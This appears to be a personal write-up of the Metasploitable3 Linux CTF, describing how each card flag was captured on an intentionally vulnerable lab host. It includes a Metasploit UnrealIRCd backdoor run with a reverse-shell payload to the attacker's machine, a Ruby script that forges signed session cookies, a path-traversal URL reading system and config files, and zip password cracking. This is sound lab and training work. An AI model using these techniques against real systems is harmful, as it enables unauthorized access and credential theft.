Metasploitable3 CTF
Rapid7 just wrapped up the second of their Metsploitable3 CTFs, this time for the Linux version of the intentionally vulnerable OS that both beginner and advanced hackers can hone their skills on. They only allowed 500 participants/teams worldwide. I had a lot of free time the week of the event and was able to dedicate a lot of time to trying to solve all the flags. I ended up needing small hints on two of the flags but over all I learned a ton.
This is a full write-up so its long...this is the order I found the flags (mostly).
Before anything else, thanks to Rapid7 for putting this on!
King of Spades - UnrealIRC Backdoor
From my initial nmap
scan, port 6697 is running UnrealIRCd. Trying to connect shows that the service is valid and running: proxychains nc -nv 10.0.70.145 6697
Using searchsploit
shows that version 3.2.8.1 has a backdoor and a Metasploit module to make use of it.
msfconsole
# search unrealirc
use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 10.0.70.145
set rport 6697
# show payloads
set payload cmd/unix/reverse_ruby
set lhost 10.0.70.149
set lport 12345
run
Looking in the directory for recently changed files ls -latr
, the ircd.motd
seems to have been recently updated and is rather large for what should be a short text file.
Inspecting the file reveals a file full of what appears to be Base64 encoded data. Given the size of the file, it is likely that this is a Base64 encoded image. Decoding reveals a PNG file: base64 -d ircd.motd > decoded.file
I installed pngcheck
to see if this file has any additional attributes and found some extra data in the file: pngcheck king_of_spades.png
Using foremost
I was able to extract a ZIP file in addition to the PNG file: foremost -v king_of_spades.png
Unzipping (unzip 0000020.zip
) the file in the ./output/zip
directory, reveals the flag image.
To get the key, just MD5 the file: md5sum king_of_spades.png
8fc453ee48180b958f98e0d2d856d1c8
6 Of Clubs - Ruby Cookie Manipulation
This was one of my favorites, a toss-up between this, the PHPMyAdmin Creds, and the QR Code challenge
I should also mention that I was the first person to solve this challenge
From the nmap
scan, port 8181 is running Ruby WEBrick. Browsing to this page immediately reveals a bit of a hint.
Capturing the request to the flag route shows that this server is using the old style for Ruby cookies due to the BAh
at the beginning of the key which means that if we can find the 'secret' we can alter the cookie and calculate a valid HMAC. Quickly decoding the first part of the cookie (because it looks like Base64) gives us a huge hint – the cookie secret for constructing the cookie and the HMAC value. This will help to achieve the hint mentioned above.
Looking up ways to decode and re-encode Ruby Marshall cookies, I found this article: https://martinfowler.com/articles/session-secret.html. And after much weeping and gnashing of teeth, I was able to finally modify the code in the "Taking control of the application" section to create my new cookie. Trying to create the cookie from scratch as in the linked page above did NOT work. It only worked after I manipulated the captured cookie directly as suggested here (though not in Python) https://www.balda.ch/posts/2013/Jun/17/defcon13-hypeman/. Basically did a string replace instead of trying to construct from scratch.
require 'base64'
require 'openssl'
require 'rack'
key = 'a7aebc287bba0ee4e64f947415a94e5f'
original_cookie = '''BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWVlMzRjZDExM2IzN2U2MGU5YjI0
MmE0ZWEyMjlkMzIzNjQ0ODg3NTUwMTI5NjVkNGVmNDM1NWEyYTM4NjFkYmYG
OwBGSSIUX21ldGFzcGxvaXRhYmxlBjsAVEkiVFNoaGhoaCwgZG9uJ3QgdGVs
bCBhbnlib2R5IHRoaXMgY29va2llIHNlY3JldDogYTdhZWJjMjg3YmJhMGVl
NGU2NGY5NDc0MTVhOTRlNWYGOwBU'''
decoded_original_cookie = Rack::Session::Cookie::Base64::Marshal.new.decode(original_cookie)
File.open('flag_names').each do |flag|
# Create cookie and Base64 encode flag name
decoded_original_cookie.each { |k, v| decoded_original_cookie[k] = flag.chomp if k == '_metasploitable' }
cookie_data = decoded_original_cookie
cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
#cookie = Rack::Session::Cookie::Base64::Marshal.new.encode(cookie_data).chomp
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), key, cookie)
puts("#{cookie}--#{digest}")
end
I created a wordlist of all the flag names using both spaces and _
as well as with no extension, a PNG extension, and a JPG extension.
# Start with list of names from the Challenges page
# Replace spaces with underscore
sed 's/ /_/' flag_names
# Add JPG and PNG to end
sed 's/$/.png/' flag_names
sed 's/$/.jpg/' flag_names
flag_names
Then I ran the script with that wordlist, output it to a file and then used Burp Intruder to replay all those requests looking for either a longer length in the response or a page without "Problem" in it (since the original page had this).
Turns out this was the 6 of Clubs. Copying the successful cookie value, I then intercepted a request from the browser in Burp, updated the cookie, and had the image I needed.
Key: d9247a49d132a4f92dcc813f63eb1c8b
Ruby On Rails - Local File Inclusion (Not A Flag)
From the nmap
scan, port 3500 is running Ruby WEBrick and upon browsing shows a default Ruby on Rails landing page. Using WFUZZ, I was initially able to find an additional page at readme
proxychains wfuzz -c --follow --hc 404 -z file,/usr/share/wordlists/wfuzz/general/medium.txt http://10.0.70.134:3500/FUZZ
Clicking on the logos takes you to OS specific pages with the os
parameter set in the URL: http://10.0.70.134:3500/readme?os=windows
Attempting to do some directory traversal with the OS parameter is successful: http://10.0.70.134:3500/readme?os=../../../../../../../../../etc/passwd. This LFI is critical to the next flag I was able to retrieve.
8 of Hearts - PHPMyAdmin
This was one of my favorites, a toss-up between this, the Ruby Cookie Manipulation, and the QR Code challenge
In the Drupal installation I found a settings (settings.php) file. To get there I first found the image at http://10.0.70.184/drupal/?q=node/2 and copied the path. Trying to go up a directory from the image itself revealed that I could traverse the Drupal directory structure, eventually landing at http://10.0.70.184/drupal/sites/default/ where there is a settings.php file. I could not view the file because the PHP tried to execute but I could use the LFI vulnerability in the Ruby Readme App above to access the file at the directory /var/www/html/drupal/sites/default/settings.php
. Searching for the word 'password' in the file revealed the user/password combo of root:sploitme
.
Using this password, I tried to log into Drupal with no success but I could access to PHPMyAdmin! In PHPMyAdmin, there is a super_scret_db
with a flags
table that has one record that appears to be a data blob in the form of a .bin
file. Downloading the file and checking what type of file it is reveals that it is indeed a Zip file.
Trying to unzip the file requires a password, fcrackzip
was the tool for the job revealing a password of 'vagrant': fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt flags-value.bin
e8e2f19dad5fc32f022952690d5beee6
User Password Table
Additionally in the PHPMyAdmin tool was a table of a bunch of Star Wars themed users with passwords. I tried to use one set of credentials to SSH into the box and was in! Turns out each of the user/pass combos were valid. On top of that, Leia, Luke, and Han all had sudo
privileges so I now had root access to the box which made finding the rest of the flags easy (or at least the files the flags lived in).
5 Of Diamonds - Custom Executable
Using the new root permissions I have with Leia, Luke, or Han, I searched for World Writeable Files and found /etc/init/five_of_diamonds_srv.conf
. Which contains some interesting text:
description 'Run vulnerable custom http on 8989'
author 'metasploitable3'
start on runlevel [2345]
exec "/opt/knock_knock/five_of_diamonds"
Inspecting /opt/knock_knock/five_of_diamonds
shows that it is an executable file. Attempting to run strings on the file dumps a large Base64 blob that when decoded seemed like the flag I was looking for...this did not work, apparently this did not grab ALL of the image.
The secondary method was to set up an SSH tunnel through the Kali box to access the web service directly at 10.0.70.184:8989.
ssh ec2-user@52.86.108.58 -i ~/metasploitable3_ctf_kali_ssh_key.pem -L 8989:10.0.70.184:8989
97bf04578c58062c1440f17668f6017b
9 Of Diamonds - Kylo Ren ISO
Navigating to Kylo Ren's home folder /home/kylo_ren
reveals a hidden .secret_files
directory. Due to permissions, you cannot immediately browse this directory (before I knew I had root). Adding execute permissions with chmod +x .secret_files
allows viewing of the directory which contains an ISO file my_recordings_do_not_open.iso
Getting the file back to my local box with SCP and mounting it reveals the flag file in the ISO.
mount my_recordings_do_not_open.iso /mnt/kylo_ren -o loop
097a0b9b4b08580caa5509941d7e548d
3 of Hearts - Find (/lost+found)
As root using find / -iname * 3_of_hearts*
shows the location as /lost+found/3_of_hearts.png
cb53b81df46068c763e6f6ec67000c8f
10 Of Spades - Find (/opt/readme_app)
While logged in as Leia Organa, use the find
command to find PNG files.
find / -name *.png
/opt/readme_app/public/images/10_of_spades.png
179d54b67a08326b14bd6f2109fb7921
Ace of Clubs - Chat App
NMAP showed that there is a web app running on Port 80. Browsing to this web app shows a directory structure that includes a chat
directory. In the chat app, "Papa Smurf" gives a hint that he has an Ace of Clubs. Simply asking nicely for the flag ('can I have the flag?') returns a huge Base64 string that can be decoded into the flag. Later when I found the code for the chat app, it was clear that the app would have responded with the flag to a wide range of inputs.
base64 -d chat_test.b64 > chat_decoded_file
7aa0260989946155c0c6178ffc9b25e9
8 Of Clubs - Long Directory Structure
Exploring the anakin_skywalker
home directory reveals a numbered directory. With another numbered sub-directory and so on. Searching Google led me to a one-liner to show the full directory structure without needing the tree
utility.
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
Navigating to the directory revels the flag.
5b0c5fe06186c808af0627a5457f811d
7 of Diamonds - QR Codes for Days
This was one of my favorites, a toss-up between this, the PHPMyAdmin Creds, and the Ruby Cookie Manipulation challenge
As root
using find / -iname 7_of_diamonds
I found this file in /var/lib/docker/devicemapper/mnt/1ff7956591eec7a4106b9c1feb82a46624d39ddc8cabc2d901d379571c0d581f/rootfs/home/7_of_diamonds.zip
. The Zip contains a hint that is a GIF of many QR codes and another ZIP file (that I could not find the password with fcrackzip
). Using the site https://ezgif.com/split I was able to upload the GIF and split it into images. I then figured I needed a programmatic way to decode the images (there were like 300). Reference links to some Python scripts to decode QR codes.:
- https://stackoverflow.com/questions/27233351/how-to-decode-a-qr-code-image-in-preferably-pure-python
- https://stackoverflow.com/questions/10377998/how-can-i-iterate-over-files-in-a-given-directory
Tweaking the Python script to output everything together instead of on one line I ended up with this script.
import qrtools
# Create png_list in shell with `ls *.png > png_list`
for filename in open('png_list'):
qr = qrtools.QR()
qr.decode(filename.rstrip())
print qr.data,
This gave me a huge blob of text that after inspection seems to be hex characters, and after decoding the first bit as ASCII Hex, I see what appears to be PNG headers.
Searching for a command to convert these hex characters back into raw data, I found this article https://stackoverflow.com/questions/1604765/linux-shell-scripting-hex-string-to-bytes and ended up with the commands:
python qr_decoder.py > qr_decoded
cat qr_decoded | xxd -r -p > deocded_from_hex
Which ends up being an image with the password to the Zipped ZIP file.
Using this password to open the zip file gives me the flag.
07e2e1a974bf5f261e9c70e5890456f4
5 Of Hearts - Base64 In Metadata
The image file comes right from to the Drupal page http://10.0.70.184/drupal/?q=node/2 but is just a heart with a question mark in the middle of it, so clearly not the real flag despite the file name.
Downloading the image and running exiftool metasploitable3/5_of_hearts.png
reveals a Base64 blob in the tag 5 of hearts
section. Copying this Base64 blob and decoding yields the true flag.
exiftool 5_of_hearts.png | grep -i tag | cut -d ':' -f2 | sed 's/ //' | base64 -d > 5_of_hearts_real.png
1862c5dac75e43bb8d530d54575592b7
2 Of Spades - PCAP
In Leia Organa's home directory /home/leia_organa
there is a PCAP file. Using Wireshark to view the PCAP, it is immediately clear that there is some sort of RTP stream. Using Telephony → RTP → RTP Stream you can view the individual steams. Selecting the first stream, then Analyze, then Play Streams starts the audio tool.
After the first part of the message about an echo test (from a VOIP system presumably), there is some VERY quiet speech that spells out a URL: https://imgur.com/gmThKFP. This URL is a link to the flag. Due to using two different computers to do this challenge, being in a class room part of the time and unable to listen to the audio, and a bug where Wireshark in Linux would not play, this challenge was WAY harder for me than it should have been.
1e6f926e341b9daf32fe70171eb727b4
10 Of Clubs - WAV File
In Artoo's home directory, there was a directory called music
that contained a single WAV file. The file just contains what appears to be static. After a while of searching through the audio and manipulating it, trying to figure out some LSB steganography, I finally got a hint (from bl0ckbuster) to try binwalk
.
binwalk -e 10_of_clubs.wav extracted the actual flag.
I had been trying to figure out if there was data embedded by looking for PNG type headers in the hexdup with no luck. Turns out that the embedded data was Zlib compressed (not PNG) so there was no way I was going to see the PNG headers. binwalk
was able to find the Zlib data and apparently auto extracts it so that I was left with the flag image.
79c9107cf553b149a542501f5fb277d7
Joker - Image Metadata
The Joker was the last flag that I got, since its the joker. The image was found in /etc/joker.png
and looked like a negative of the real flag. Simply inverting the colors did not work. Some hints from the Meteasploitable staff said to focus on metadata. So I did and racked my brain trying to invert colors in Gimp, by pixel using a Python script, nothing worked and it was obviously frustrating others too. I finally got a hint from osama to try to strip the metadata, so I was able to that with Gimp using the export tool and this was the key.
I got them ALL!
4ad861d9fa6cb5c7fe60d55757b2693a
Take Aways
This was a lot of fun, I hated being away from family for training but being alone in a hotel room did help me to focus on this quite a bit. The most fun was either getting the code out of the QR Code GIF, stringing together the vulns to get access to PHPMyAdmin, or putting together the script for the Ruby Cookie Manipulation. Also, binwalk
is now a permanent part of my CTF tool belt.
Thanks to the Rapid7 team for putting on an awesome event!!